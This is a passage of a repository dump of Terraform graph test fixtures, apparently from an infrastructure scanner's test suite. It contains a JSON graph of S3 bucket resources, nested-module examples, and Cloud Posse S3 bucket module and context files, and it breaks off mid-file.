"aws_s3_bucket.example.id" ], "ignore_public_acls": [ true ], "restrict_public_buckets": [ true ], "resource_type": [ "aws_s3_bucket" ], "encryption_": "ENCRYPTED", "encryption_details_": "AES256", "__address__": "module.s3_module.module.inner_s3_module_2.module.inner_s3_module2.aws_s3_bucket.var_bucket" }, "block_type": "resource", "breadcrumbs": { "bucket": [ { "type": "module", "name": "inner_s3_module2", "path": "/module2/main.tf", "module_connection": false }, { "type": "variable", "name": "bucket2", "path": "/module3/variable.tf", "module_connection": false }, { "type": "locals", "name": "bucket2", "path": "/module3/main.tf", "module_connection": false } ], "source_module_": [ { "type": "module", "name": "s3_module", "path": "/main.tf", "idx": 4 }, { "type": "module", "name": "inner_s3_module_2", "path": "/module/main.tf", "idx": 10 }, { "type": "module", "name": "inner_s3_module2", "path": "/module2/main.tf", "idx": 17 } ] }, "config": { "aws_s3_bucket": { "var_bucket": { "__end_line__": 11, "__start_line__": 5, "block_public_acls": [ true ], "block_public_policy": [ true ], "bucket": [ "aws_s3_bucket.example.id" ], "ignore_public_acls": [ true ], "restrict_public_buckets": [ true ], "__address__": "module.s3_module.module.inner_s3_module_2.module.inner_s3_module2.aws_s3_bucket.var_bucket" } } }, "id": "aws_s3_bucket.var_bucket", "module_connections": {}, "module_dependency": "/module2/main.tf([{/module/main.tf#*#1([{/main.tf#*#0}])}])", "module_dependency_num": "0", "name": "aws_s3_bucket.var_bucket", "path": "/module3/main.tf", "source": "TERRAFORM", "source_module": [ 17 ] }, { "attributes": { "bucket2": [ "aws_s3_bucket.example2.id" ], "__address__": "module.s3_module2.module.inner_s3_module_2.module.inner_s3_module2.bucket2" }, "block_type": "locals", "breadcrumbs": { "bucket2": [ { "type": "module", "name": "inner_s3_module2", "path": "/module2/main.tf", "module_connection": false }, { "type": "variable", "name": "bucket2", "path": "/module3/variable.tf", "module_connection": false }, { "type": "locals", "name": "bucket2", "path": "/module3/main.tf", "module_connection": false } ], "source_module_": [ { "type": "module", "name": "s3_module2", "path": "/main.tf", "idx": 5 }, { "type": "module", "name": "inner_s3_module_2", "path": "/module/main.tf", "idx": 12 }, { "type": "module", "name": "inner_s3_module2", "path": "/module2/main.tf", "idx": 18 } ] }, "config": { "bucket2": [ "aws_s3_bucket.example2.id" ], "__address__": "module.s3_module2.module.inner_s3_module_2.module.inner_s3_module2.bucket2" }, "id": "", "module_connections": {}, "module_dependency": "/module2/main.tf([{/module/main.tf#*#1([{/main.tf#*#1}])}])", "module_dependency_num": "0", "name": "bucket2", "path": "/module3/main.tf", "source": "TERRAFORM", "source_module": [ 18 ] }, { "attributes": { "__end_line__": 11, "__start_line__": 5, "block_public_acls": [ true ], "block_public_policy": [ true ], "bucket": [ "aws_s3_bucket.example2.id" ], "ignore_public_acls": [ true ], "restrict_public_buckets": [ true ], "resource_type": [ "aws_s3_bucket" ], "encryption_": "ENCRYPTED", "encryption_details_": "AES256", "__address__": "module.s3_module2.module.inner_s3_module_2.module.inner_s3_module2.aws_s3_bucket.var_bucket" }, "block_type": "resource", "breadcrumbs": { "bucket": [ { "type": "module", "name": "inner_s3_module2", "path": "/module2/main.tf", "module_connection": false }, { "type": "variable", "name": "bucket2", "path": "/module3/variable.tf", "module_connection": false }, { "type": "locals", "name": "bucket2", "path": "/module3/main.tf", "module_connection": false } ], "source_module_": [ { "type": "module", "name": "s3_module2", "path": "/main.tf", "idx": 5 }, { "type": "module", "name": "inner_s3_module_2", "path": "/module/main.tf", "idx": 12 }, { "type": "module", "name": "inner_s3_module2", "path": "/module2/main.tf", "idx": 18 } ] }, "config": { "aws_s3_bucket": { "var_bucket": { "__end_line__": 11, "__start_line__": 5, "block_public_acls": [ true ], "block_public_policy": [ true ], "bucket": [ "aws_s3_bucket.example2.id" ], "ignore_public_acls": [ true ], "restrict_public_buckets": [ true ], "__address__": "module.s3_module2.module.inner_s3_module_2.module.inner_s3_module2.aws_s3_bucket.var_bucket" } } }, "id": "aws_s3_bucket.var_bucket", "module_connections": {}, "module_dependency": "/module2/main.tf([{/module/main.tf#*#1([{/main.tf#*#1}])}])", "module_dependency_num": "0", "name": "aws_s3_bucket.var_bucket", "path": "/module3/main.tf", "source": "TERRAFORM", "source_module": [ 18 ] }, { "attributes": { "__end_line__": 3, "__start_line__": 1, "type": [ "string" ], "__address__": "module.another_s3_module.bucket2" }, "block_type": "variable", "breadcrumbs": { "source_module_": [ { "type": "module", "name": "another_s3_module", "path": "/another_one/main.tf", "idx": 0 } ] }, "config": { "bucket2": { "__end_line__": 3, "__start_line__": 1, "type": [ "string" ], "__address__": "module.another_s3_module.bucket2" } }, "id": "", "module_connections": {}, "module_dependency": "/another_one/main.tf", "module_dependency_num": "0", "name": "bucket2", "path": "/module3/variable.tf", "source": "TERRAFORM", "source_module": [ 0 ] }, { "attributes": { "__end_line__": 3, "__start_line__": 1, "type": [ "string" ], "default": [ "aws_s3_bucket.example.id" ], "__address__": "module.s3_module.module.inner_s3_module.module.inner_s3_module2.bucket2" }, "block_type": "variable", "breadcrumbs": { "default": [ { "type": "module", "name": "inner_s3_module2", "path": "/module2/main.tf", "module_connection": false }, { "type": "variable", "name": "bucket2", "path": "/module3/variable.tf", "module_connection": false }, { "type": "locals", "name": "bucket2", "path": "/module3/main.tf", "module_connection": false } ], "source_module_": [ { "type": "module", "name": "s3_module", "path": "/main.tf", "idx": 4 }, { "type": "module", "name": "inner_s3_module", "path": "/module/main.tf", "idx": 9 }, { "type": "module", "name": "inner_s3_module2", "path": "/module2/main.tf", "idx": 15 } ] }, "config": { "bucket2": { "__end_line__": 3, "__start_line__": 1, "type": [ "string" ], "__address__": "module.s3_module.module.inner_s3_module.module.inner_s3_module2.bucket2" } }, "id": "", "module_connections": {}, "module_dependency": "/module2/main.tf([{/module/main.tf#*#0([{/main.tf#*#0}])}])", "module_dependency_num": "0", "name": "bucket2", "path": "/module3/variable.tf", "source": "TERRAFORM", "source_module": [ 15 ] }, { "attributes": { "__end_line__": 3, "__start_line__": 1, "type": [ "string" ], "default": [ "aws_s3_bucket.example2.id" ], "__address__": "module.s3_module2.module.inner_s3_module.module.inner_s3_module2.bucket2" }, "block_type": "variable", "breadcrumbs": { "default": [ { "type": "module", "name": "inner_s3_module2", "path": "/module2/main.tf", "module_connection": false }, { "type": "variable", "name": "bucket2", "path": "/module3/variable.tf", "module_connection": false }, { "type": "locals", "name": "bucket2", "path": "/module3/main.tf", "module_connection": false } ], "source_module_": [ { "type": "module", "name": "s3_module2", "path": "/main.tf", "idx": 5 }, { "type": "module", "name": "inner_s3_module", "path": "/module/main.tf", "idx": 11 }, { "type": "module", "name": "inner_s3_module2", "path": "/module2/main.tf", "idx": 16 } ] }, "config": { "bucket2": { "__end_line__": 3, "__start_line__": 1, "type": [ "string" ], "__address__": "module.s3_module2.module.inner_s3_module.module.inner_s3_module2.bucket2" } }, "id": "", "module_connections": {}, "module_dependency": "/module2/main.tf([{/module/main.tf#*#0([{/main.tf#*#1}])}])", "module_dependency_num": "0", "name": "bucket2", "path": "/module3/variable.tf", "source": "TERRAFORM", "source_module": [ 16 ] }, { "attributes": { "__end_line__": 3, "__start_line__": 1, "type": [ "string" ], "default": [ "aws_s3_bucket.example.id" ], "__address__": "module.s3_module.module.inner_s3_module_2.module.inner_s3_module2.bucket2" }, "block_type": "variable", "breadcrumbs": { "default": [ { "type": "module", "name": "inner_s3_module2", "path": "/module2/main.tf", "module_connection": false }, { "type": "variable", "name": "bucket2", "path": "/module3/variable.tf", "module_connection": false }, { "type": "locals", "name": "bucket2", "path": "/module3/main.tf", "module_connection": false } ], "source_module_": [ { "type": "module", "name": "s3_module", "path": "/main.tf", "idx": 4 }, { "type": "module", "name": "inner_s3_module_2", "path": "/module/main.tf", "idx": 10 }, { "type": "module", "name": "inner_s3_module2", "path": "/module2/main.tf", "idx": 17 } ] }, "config": { "bucket2": { "__end_line__": 3, "__start_line__": 1, "type": [ "string" ], "__address__": "module.s3_module.module.inner_s3_module_2.module.inner_s3_module2.bucket2" } }, "id": "", "module_connections": {}, "module_dependency": "/module2/main.tf([{/module/main.tf#*#1([{/main.tf#*#0}])}])", "module_dependency_num": "0", "name": "bucket2", "path": "/module3/variable.tf", "source": "TERRAFORM", "source_module": [ 17 ] }, { "attributes": { "__end_line__": 3, "__start_line__": 1, "type": [ "string" ], "default": [ "aws_s3_bucket.example2.id" ], "__address__": "module.s3_module2.module.inner_s3_module_2.module.inner_s3_module2.bucket2" }, "block_type": "variable", "breadcrumbs": { "default": [ { "type": "module", "name": "inner_s3_module2", "path": "/module2/main.tf", "module_connection": false }, { "type": "variable", "name": "bucket2", "path": "/module3/variable.tf", "module_connection": false }, { "type": "locals", "name": "bucket2", "path": "/module3/main.tf", "module_connection": false } ], "source_module_": [ { "type": "module", "name": "s3_module2", "path": "/main.tf", "idx": 5 }, { "type": "module", "name": "inner_s3_module_2", "path": "/module/main.tf", "idx": 12 }, { "type": "module", "name": "inner_s3_module2", "path": "/module2/main.tf", "idx": 18 } ] }, "config": { "bucket2": { "__end_line__": 3, "__start_line__": 1, "type": [ "string" ], "__address__": "module.s3_module2.module.inner_s3_module_2.module.inner_s3_module2.bucket2" } }, "id": "", "module_connections": {}, "module_dependency": "/module2/main.tf([{/module/main.tf#*#1([{/main.tf#*#1}])}])", "module_dependency_num": "0", "name": "bucket2", "path": "/module3/variable.tf", "source": "TERRAFORM", "source_module": [ 18 ] } ], "edges": [ { "origin": 0, "dest": 1, "label": "bucket" }, { "origin": 4, "dest": 7, "label": "bucket" }, { "origin": 13, "dest": 4, "label": "default" }, { "origin": 5, "dest": 8, "label": "bucket" }, { "origin": 14, "dest": 5, "label": "default" }, { "origin": 9, "dest": 13, "label": "bucket2" }, { "origin": 19, "dest": 9, "label": "default" }, { "origin": 10, "dest": 13, "label": "bucket2" }, { "origin": 21, "dest": 10, "label": "default" }, { "origin": 11, "dest": 14, "label": "bucket2" }, { "origin": 20, "dest": 11, "label": "default" }, { "origin": 12, "dest": 14, "label": "bucket2" }, { "origin": 22, "dest": 12, "label": "default" }, { "origin": 15, "dest": 19, "label": "bucket2" }, { "origin": 34, "dest": 15, "label": "default" }, { "origin": 16, "dest": 20, "label": "bucket2" }, { "origin": 35, "dest": 16, "label": "default" }, { "origin": 17, "dest": 21, "label": "bucket2" }, { "origin": 36, "dest": 17, "label": "default" }, { "origin": 18, "dest": 22, "label": "bucket2" }, { "origin": 37, "dest": 18, "label": "default" }, { "origin": 23, "dest": 33, "label": "bucket2" }, { "origin": 24, "dest": 23, "label": "bucket" }, { "origin": 25, "dest": 34, "label": "bucket2" }, { "origin": 26, "dest": 25, "label": "bucket" }, { "origin": 27, "dest": 35, "label": "bucket2" }, { "origin": 28, "dest": 27, "label": "bucket" }, { "origin": 29, "dest": 36, "label": "bucket2" }, { "origin": 30, "dest": 29, "label": "bucket" }, { "origin": 31, "dest": 37, "label": "bucket2" }, { "origin": 32, "dest": 31, "label": "bucket" }, { "origin": 26, "dest": 7, "label": "[cross-variable] bucket" }, { "origin": 28, "dest": 8, "label": "[cross-variable] bucket" }, { "origin": 30, "dest": 7, "label": "[cross-variable] bucket" }, { "origin": 32, "dest": 8, "label": "[cross-variable] bucket" } ] } ================================================ FILE: tests/terraform/graph/resources/modules/nested_modules_instances/main.tf ================================================ provider "aws" { region = "us-west-2" } module "s3_module" { source = "./module" bucket = aws_s3_bucket.example.id } module "s3_module2" { source = "./module" bucket = aws_s3_bucket.example2.id } resource "aws_s3_bucket" "example" { bucket = "example" } resource "aws_s3_bucket" "example2" { bucket = "example" } ================================================ FILE: tests/terraform/graph/resources/modules/nested_modules_instances/module/main.tf ================================================ module "inner_s3_module" { source = "../module2" bucket2 = var.bucket } module "inner_s3_module_2" { source = "../module2" bucket2 = var.bucket } ================================================ FILE: tests/terraform/graph/resources/modules/nested_modules_instances/module/variable.tf ================================================ variable "bucket" { type = string } ================================================ FILE: tests/terraform/graph/resources/modules/nested_modules_instances/module2/main.tf ================================================ module "inner_s3_module2" { source = "../module3" bucket2 = var.bucket2 } ================================================ FILE: tests/terraform/graph/resources/modules/nested_modules_instances/module2/variable.tf ================================================ variable "bucket2" { type = string } ================================================ FILE: tests/terraform/graph/resources/modules/nested_modules_instances/module3/main.tf ================================================ locals { bucket2 = var.bucket2 } resource "aws_s3_bucket" "var_bucket" { bucket = local.bucket2 block_public_acls = true block_public_policy = true ignore_public_acls = true restrict_public_buckets = true } ================================================ FILE: tests/terraform/graph/resources/modules/nested_modules_instances/module3/variable.tf ================================================ variable "bucket2" { type = string } ================================================ FILE: tests/terraform/graph/resources/modules/registry_security_group_inner_module/main.tf ================================================ module "web_server_sg" { source = "terraform-aws-modules/security-group/aws//modules/http-80" name = "web-server" description = "Security group for web-server with HTTP ports open within VPC" vpc_id = "vpc-12345678" ingress_cidr_blocks = ["10.10.0.0/16"] } resource "aws_flow_log" "related_flow_log" { traffic_type = "" vpc_id = module.web_server_sg.security_group_vpc_id } ================================================ FILE: tests/terraform/graph/resources/modules/s3_inner_modules/inner/main.tf ================================================ resource "aws_s3_bucket" "inner_s3" { bucket = "tf-test-bucket-destination-12345" acl = "" versioning { enabled = var.versioning } } ================================================ FILE: tests/terraform/graph/resources/modules/s3_inner_modules/inner/variables.tf ================================================ variable "versioning" { default = false } ================================================ FILE: tests/terraform/graph/resources/modules/s3_inner_modules/main.tf ================================================ module "inner_module_call" { source = "./inner" versioning = var.versioning } ================================================ FILE: tests/terraform/graph/resources/modules/s3_inner_modules/variables.tf ================================================ variable "versioning" { default = false } ================================================ FILE: tests/terraform/graph/resources/modules/same_var_names/main.tf ================================================ variable "v" { default = true } module "module1" { source = "./module1" v = var.v } module "module2" { source = "./module2" v = var.v } ================================================ FILE: tests/terraform/graph/resources/modules/same_var_names/module1/main.tf ================================================ module "submodule1" { source = "../submodule1" v = var.v } module "submodule2" { source = "../submodule2" v = var.v } ================================================ FILE: tests/terraform/graph/resources/modules/same_var_names/module1/variables.tf ================================================ variable "v" { } ================================================ FILE: tests/terraform/graph/resources/modules/same_var_names/module2/main.tf ================================================ module "submodule1" { source = "../submodule1" v = var.v } module "submodule2" { source = "../submodule2" v = var.v } ================================================ FILE: tests/terraform/graph/resources/modules/same_var_names/module2/variables.tf ================================================ variable "v" { } ================================================ FILE: tests/terraform/graph/resources/modules/same_var_names/submodule1/variables.tf ================================================ variable "v" { type = bool } ================================================ FILE: tests/terraform/graph/resources/modules/same_var_names/submodule2/variables.tf ================================================ variable "v" { type = bool } ================================================ FILE: tests/terraform/graph/resources/modules/stacks/prod/main.tf ================================================ module "sub-module" { source = "./sub-prod" } ================================================ FILE: tests/terraform/graph/resources/modules/stacks/prod/sub-prod/main.tf ================================================ module "s3" { source = "../../../s3_inner_modules" versioning = true } ================================================ FILE: tests/terraform/graph/resources/modules/stacks/stage/main.tf ================================================ module "s3" { source = "../../s3_inner_modules" versioning = true } ================================================ FILE: tests/terraform/graph/resources/modules/stacks/test/main.tf ================================================ module "s3" { source = "../../s3_inner_modules" versioning = false } ================================================ FILE: tests/terraform/graph/resources/modules/violation_example/main.tf ================================================ module "learn_terraform" { source = "https://github.com/hashicorp/learn-terraform-provision-eks-cluster.git" version = "1.16.0" name = "s3-bucket" } resource "aws_s3_bucket" "destination" { bucket = "tf-test-bucket-destination-12345" versioning { enabled = var.enabled } } ================================================ FILE: tests/terraform/graph/resources/modules/violation_example/variables.tf ================================================ variable "enabled" { default = module.learn_terraform.region == "something to produce false" ? true : false } ================================================ FILE: tests/terraform/graph/resources/modules-and-vars/context.tf ================================================ # # ONLY EDIT THIS FILE IN github.com/cloudposse/terraform-null-label # All other instances of this file should be a copy of that one # # # Copy this file from https://github.com/cloudposse/terraform-null-label/blob/master/exports/context.tf # and then place it in your Terraform module to automatically get # Cloud Posse's standard configuration inputs suitable for passing # to Cloud Posse modules. # # Modules should access the whole context as `module.this.context` # to get the input variables with nulls for defaults, # for example `context = module.this.context`, # and access individual variables as `module.this.`, # with final values filled in. # # For example, when using defaults, `module.this.context.delimiter` # will be null, and `module.this.delimiter` will be `-` (hyphen). # module "this" { source = "git::https://github.com/cloudposse/terraform-null-label.git?ref=tags/0.19.2" enabled = var.enabled namespace = var.namespace environment = var.environment stage = var.stage name = var.name delimiter = var.delimiter attributes = var.attributes tags = var.tags additional_tag_map = var.additional_tag_map label_order = var.label_order regex_replace_chars = var.regex_replace_chars id_length_limit = var.id_length_limit context = var.context } # Copy contents of cloudposse/terraform-null-label/variables.tf here variable "context" { type = object({ enabled = bool namespace = string environment = string stage = string name = string delimiter = string attributes = list(string) tags = map(string) additional_tag_map = map(string) regex_replace_chars = string label_order = list(string) id_length_limit = number }) default = { enabled = true namespace = null environment = null stage = null name = null delimiter = null attributes = [] tags = {} additional_tag_map = {} regex_replace_chars = null label_order = [] id_length_limit = null } description = <<-EOT Single object for setting entire context at once. See description of individual variables for details. Leave string and numeric variables as `null` to use default value. Individual variable settings (non-null) override settings in context object, except for attributes, tags, and additional_tag_map, which are merged. EOT } variable "enabled" { type = bool default = null description = "Set to false to prevent the module from creating any resources" } variable "namespace" { type = string default = null description = "Namespace, which could be your organization name or abbreviation, e.g. 'eg' or 'cp'" } variable "environment" { type = string default = null description = "Environment, e.g. 'uw2', 'us-west-2', OR 'prod', 'staging', 'dev', 'UAT'" } variable "stage" { type = string default = null description = "Stage, e.g. 'prod', 'staging', 'dev', OR 'source', 'build', 'test', 'deploy', 'release'" } variable "name" { type = string default = null description = "Solution name, e.g. 'app' or 'jenkins'" } variable "delimiter" { type = string default = null description = <<-EOT Delimiter to be used between `namespace`, `environment`, `stage`, `name` and `attributes`. Defaults to `-` (hyphen). Set to `""` to use no delimiter at all. EOT } variable "attributes" { type = list(string) default = [] description = "Additional attributes (e.g. `1`)" } variable "tags" { type = map(string) default = {} description = "Additional tags (e.g. `map('BusinessUnit','XYZ')`" } variable "additional_tag_map" { type = map(string) default = {} description = "Additional tags for appending to tags_as_list_of_maps. Not added to `tags`." } variable "label_order" { type = list(string) default = null description = <<-EOT The naming order of the id output and Name tag. Defaults to ["namespace", "environment", "stage", "name", "attributes"]. You can omit any of the 5 elements, but at least one must be present. EOT } variable "regex_replace_chars" { type = string default = null description = <<-EOT Regex to replace chars with empty string in `namespace`, `environment`, `stage` and `name`. If not set, `"/[^a-zA-Z0-9-]/"` is used to remove all characters other than hyphens, letters and digits. EOT } variable "id_length_limit" { type = number default = null description = <<-EOT Limit `id` to this many characters. Set to `0` for unlimited length. Set to `null` for default, which is `0`. Does not affect `id_full`. EOT } #### End of copy of cloudposse/terraform-null-label/variables.tf ================================================ FILE: tests/terraform/graph/resources/modules-and-vars/examples/complete/context.tf ================================================ # # ONLY EDIT THIS FILE IN github.com/cloudposse/terraform-null-label # All other instances of this file should be a copy of that one # # # Copy this file from https://github.com/cloudposse/terraform-null-label/blob/master/exports/context.tf # and then place it in your Terraform module to automatically get # Cloud Posse's standard configuration inputs suitable for passing # to Cloud Posse modules. # # Modules should access the whole context as `module.this.context` # to get the input variables with nulls for defaults, # for example `context = module.this.context`, # and access individual variables as `module.this.`, # with final values filled in. # # For example, when using defaults, `module.this.context.delimiter` # will be null, and `module.this.delimiter` will be `-` (hyphen). # module "this" { source = "git::https://github.com/cloudposse/terraform-null-label.git?ref=tags/0.19.2" enabled = var.enabled namespace = var.namespace environment = var.environment stage = var.stage name = var.name delimiter = var.delimiter attributes = var.attributes tags = var.tags additional_tag_map = var.additional_tag_map label_order = var.label_order regex_replace_chars = var.regex_replace_chars id_length_limit = var.id_length_limit context = var.context } # Copy contents of cloudposse/terraform-null-label/variables.tf here variable "context" { type = object({ enabled = bool namespace = string environment = string stage = string name = string delimiter = string attributes = list(string) tags = map(string) additional_tag_map = map(string) regex_replace_chars = string label_order = list(string) id_length_limit = number }) default = { enabled = true namespace = null environment = null stage = null name = null delimiter = null attributes = [] tags = {} additional_tag_map = {} regex_replace_chars = null label_order = [] id_length_limit = null } description = <<-EOT Single object for setting entire context at once. See description of individual variables for details. Leave string and numeric variables as `null` to use default value. Individual variable settings (non-null) override settings in context object, except for attributes, tags, and additional_tag_map, which are merged. EOT } variable "enabled" { type = bool default = null description = "Set to false to prevent the module from creating any resources" } variable "namespace" { type = string default = null description = "Namespace, which could be your organization name or abbreviation, e.g. 'eg' or 'cp'" } variable "environment" { type = string default = null description = "Environment, e.g. 'uw2', 'us-west-2', OR 'prod', 'staging', 'dev', 'UAT'" } variable "stage" { type = string default = null description = "Stage, e.g. 'prod', 'staging', 'dev', OR 'source', 'build', 'test', 'deploy', 'release'" } variable "name" { type = string default = null description = "Solution name, e.g. 'app' or 'jenkins'" } variable "delimiter" { type = string default = null description = <<-EOT Delimiter to be used between `namespace`, `environment`, `stage`, `name` and `attributes`. Defaults to `-` (hyphen). Set to `""` to use no delimiter at all. EOT } variable "attributes" { type = list(string) default = [] description = "Additional attributes (e.g. `1`)" } variable "tags" { type = map(string) default = {} description = "Additional tags (e.g. `map('BusinessUnit','XYZ')`" } variable "additional_tag_map" { type = map(string) default = {} description = "Additional tags for appending to tags_as_list_of_maps. Not added to `tags`." } variable "label_order" { type = list(string) default = null description = <<-EOT The naming order of the id output and Name tag. Defaults to ["namespace", "environment", "stage", "name", "attributes"]. You can omit any of the 5 elements, but at least one must be present. EOT } variable "regex_replace_chars" { type = string default = null description = <<-EOT Regex to replace chars with empty string in `namespace`, `environment`, `stage` and `name`. If not set, `"/[^a-zA-Z0-9-]/"` is used to remove all characters other than hyphens, letters and digits. EOT } variable "id_length_limit" { type = number default = null description = <<-EOT Limit `id` to this many characters. Set to `0` for unlimited length. Set to `null` for default, which is `0`. Does not affect `id_full`. EOT } #### End of copy of cloudposse/terraform-null-label/variables.tf ================================================ FILE: tests/terraform/graph/resources/modules-and-vars/examples/complete/main.tf ================================================ provider "aws" { region = var.region } module "s3_bucket" { source = "../.." user_enabled = true acl = var.acl force_destroy = var.force_destroy grants = var.grants versioning_enabled = var.versioning_enabled allow_encrypted_uploads_only = var.allow_encrypted_uploads_only allowed_bucket_actions = var.allowed_bucket_actions } ================================================ FILE: tests/terraform/graph/resources/modules-and-vars/examples/complete/outputs.tf ================================================ output "bucket_domain_name" { value = module.s3_bucket.bucket_domain_name description = "FQDN of bucket" } output "bucket_id" { value = module.s3_bucket.bucket_id description = "Bucket Name (aka ID)" } output "bucket_arn" { value = module.s3_bucket.bucket_arn description = "Bucket ARN" } output "bucket_region" { value = module.s3_bucket.bucket_region description = "Bucket region" } output "user_name" { value = module.s3_bucket.user_name description = "Normalized IAM user name" } output "user_arn" { value = module.s3_bucket.user_arn description = "The ARN assigned by AWS for the user" } output "user_unique_id" { value = module.s3_bucket.user_unique_id description = "The user unique ID assigned by AWS" } ================================================ FILE: tests/terraform/graph/resources/modules-and-vars/examples/complete/variables.tf ================================================ variable "acl" { type = string default = "private" description = "The [canned ACL](https://docs.aws.amazon.com/AmazonS3/latest/dev/acl-overview.html#canned-acl) to apply. We recommend `private` to avoid exposing sensitive information. Conflicts with `grants`." } variable "grants" { type = list(object({ id = string type = string permissions = list(string) uri = string })) default = null description = "A list of ACL policy grants. Conflicts with `acl`. Set `acl` to `null` to use this." } variable "policy" { type = string default = "" description = "A valid bucket policy JSON document. Note that if the policy document is not specific enough (but still valid), Terraform may view the policy as constantly changing in a terraform plan. In this case, please make sure you use the verbose/specific version of the policy" } variable "region" { type = string default = "" description = "If specified, the AWS region this bucket should reside in. Otherwise, the region used by the callee" } variable "force_destroy" { type = bool default = false description = "A boolean string that indicates all objects should be deleted from the bucket so that the bucket can be destroyed without error. These objects are not recoverable" } variable "versioning_enabled" { type = bool default = false description = "A state of versioning. Versioning is a means of keeping multiple variants of an object in the same bucket" } variable "sse_algorithm" { type = string default = "AES256" description = "The server-side encryption algorithm to use. Valid values are `AES256` and `aws:kms`" } variable "kms_master_key_arn" { type = string default = "" description = "The AWS KMS master key ARN used for the `SSE-KMS` encryption. This can only be used when you set the value of `sse_algorithm` as `aws:kms`. The default aws/s3 AWS KMS master key is used if this element is absent while the `sse_algorithm` is `aws:kms`" } variable "user_enabled" { type = bool default = false description = "Set to `true` to create an IAM user with permission to access the bucket" } variable "allowed_bucket_actions" { type = list(string) default = ["s3:PutObject", "s3:PutObjectAcl", "s3:GetObject", "s3:DeleteObject", "s3:ListBucket", "s3:ListBucketMultipartUploads", "s3:GetBucketLocation", "s3:AbortMultipartUpload"] description = "List of actions the user is permitted to perform on the S3 bucket" } variable "allow_encrypted_uploads_only" { type = bool default = false description = "Set to `true` to prevent uploads of unencrypted objects to S3 bucket" } variable "lifecycle_rule_enabled" { type = bool default = false description = "Enable or disable lifecycle rule" } variable "prefix" { type = string default = "" description = "Prefix identifying one or more objects to which the rule applies" } variable "noncurrent_version_transition_days" { type = number default = 30 description = "Number of days to persist in the standard storage tier before moving to the glacier tier infrequent access tier" } variable "noncurrent_version_expiration_days" { type = number default = 90 description = "Specifies when noncurrent object versions expire" } variable "cors_rule_inputs" { type = list(object({ allowed_headers = list(string) allowed_methods = list(string) allowed_origins = list(string) expose_headers = list(string) max_age_seconds = number })) default = null description = "Specifies the allowed headers, methods, origins and exposed headers when using CORS on this bucket" } variable "standard_transition_days" { type = number default = 30 description = "Number of days to persist in the standard storage tier before moving to the infrequent access tier" } variable "glacier_transition_days" { type = number default = 60 description = "Number of days after which to move the data to the glacier storage tier" } variable "enable_glacier_transition" { type = bool default = true description = "Enables the transition to AWS Glacier which can cause unnecessary costs for huge amount of small files" } variable "enable_standard_ia_transition" { type = bool default = false description = "Enables the transition to STANDARD_IA" } variable "expiration_days" { type = number default = 90 description = "Number of days after which to expunge the objects" } variable "abort_incomplete_multipart_upload_days" { type = number default = 5 description = "Maximum time (in days) that you want to allow multipart uploads to remain in progress" } variable "lifecycle_tags" { type = map(string) description = "Tags filter. Used to manage object lifecycle events" default = {} } variable "block_public_acls" { type = bool default = true description = "Set to `false` to disable the blocking of new public access lists on the bucket" } variable "block_public_policy" { type = bool default = true description = "Set to `false` to disable the blocking of new public policies on the bucket" } variable "ignore_public_acls" { type = bool default = true description = "Set to `false` to disable the ignoring of public access lists on the bucket" } variable "restrict_public_buckets" { type = bool default = true description = "Set to `false` to disable the restricting of making the bucket public" } ================================================ FILE: tests/terraform/graph/resources/modules-and-vars/main.tf ================================================ resource "aws_s3_bucket" "default" { count = module.this.enabled ? 1 : 0 bucket = module.this.id acl = try(length(var.grants), 0) == 0 ? var.acl : null force_destroy = var.force_destroy policy = var.policy tags = module.this.tags versioning { enabled = var.versioning_enabled } lifecycle_rule { id = module.this.id enabled = var.lifecycle_rule_enabled prefix = var.prefix tags = var.lifecycle_tags abort_incomplete_multipart_upload_days = var.abort_incomplete_multipart_upload_days noncurrent_version_expiration { days = var.noncurrent_version_expiration_days } dynamic "noncurrent_version_transition" { for_each = var.enable_glacier_transition ? [1] : [] content { days = var.noncurrent_version_transition_days storage_class = "GLACIER" } } dynamic "transition" { for_each = var.enable_glacier_transition ? [1] : [] content { days = var.glacier_transition_days storage_class = "GLACIER" } } dynamic "transition" { for_each = var.enable_standard_ia_transition ? [1] : [] content { days = var.standard_transition_days storage_class = "STANDARD_IA" } } expiration { days = var.expiration_days } } dynamic "logging" { for_each = var.logging == null ? [] : [1] content { target_bucket = var.logging["bucket_name"] target_prefix = var.logging["prefix"] } } # https://docs.aws.amazon.com/AmazonS3/latest/dev/bucket-encryption.html # https://www.terraform.io/docs/providers/aws/r/s3_bucket.html#enable-default-server-side-encryption server_side_encryption_configuration { rule { apply_server_side_encryption_by_default { sse_algorithm = var.sse_algorithm kms_master_key_id = var.kms_master_key_arn } } } dynamic "cors_rule" { for_each = var.cors_rule_inputs == null ? [] : var.cors_rule_inputs content { allowed_headers = cors_rule.value.allowed_headers allowed_methods = cors_rule.value.allowed_methods allowed_origins = cors_rule.value.allowed_origins expose_headers = cors_rule.value.expose_headers max_age_seconds = cors_rule.value.max_age_seconds } } dynamic "grant" { for_each = try(length(var.grants), 0) == 0 || try(length(var.acl), 0) > 0 ? [] : var.grants content { id = grant.value.id type = grant.value.type permissions = grant.value.permissions uri = grant.value.uri } } dynamic "replication_configuration" { for_each = var.s3_replication_enabled ? [1] : [] content { role = aws_iam_role.replication[0].arn dynamic "rules" { for_each = var.replication_rules == null ? [] : var.replication_rules content { id = rules.value.id priority = try(rules.value.priority, 0) prefix = try(rules.value.prefix, null) status = try(rules.value.status, null) destination { bucket = var.s3_replica_bucket_arn storage_class = try(rules.value.destination.storage_class, "STANDARD") replica_kms_key_id = try(rules.value.destination.replica_kms_key_id, null) account_id = try(rules.value.destination.account_id, null) dynamic "access_control_translation" { for_each = try(rules.value.destination.access_control_translation.owner, null) == null ? [] : [rules.value.destination.access_control_translation.owner] content { owner = access_control_translation.value } } } dynamic "source_selection_criteria" { for_each = try(rules.value.source_selection_criteria.sse_kms_encrypted_objects.enabled, null) == null ? [] : [rules.value.source_selection_criteria.sse_kms_encrypted_objects.enabled] content { sse_kms_encrypted_objects { enabled = source_selection_criteria.value } } } dynamic "filter" { for_each = try(rules.value.filter, null) == null ? [] : [rules.value.filter] content { prefix = try(filter.value.prefix, null) tags = try(filter.value.tags, {}) } } } } } } } module "s3_user" { source = "git::https://github.com/cloudposse/terraform-aws-iam-s3-user.git?ref=tags/0.11.0" enabled = module.this.enabled && var.user_enabled ? true : false s3_actions = var.allowed_bucket_actions s3_resources = ["${join("", aws_s3_bucket.default.*.arn)}/*", join("", aws_s3_bucket.default.*.arn)] context = module.this.context } data "aws_partition" "current" {} data "aws_iam_policy_document" "bucket_policy" { count = module.this.enabled && var.allow_encrypted_uploads_only ? 1 : 0 statement { sid = "DenyIncorrectEncryptionHeader" effect = "Deny" actions = ["s3:PutObject"] resources = 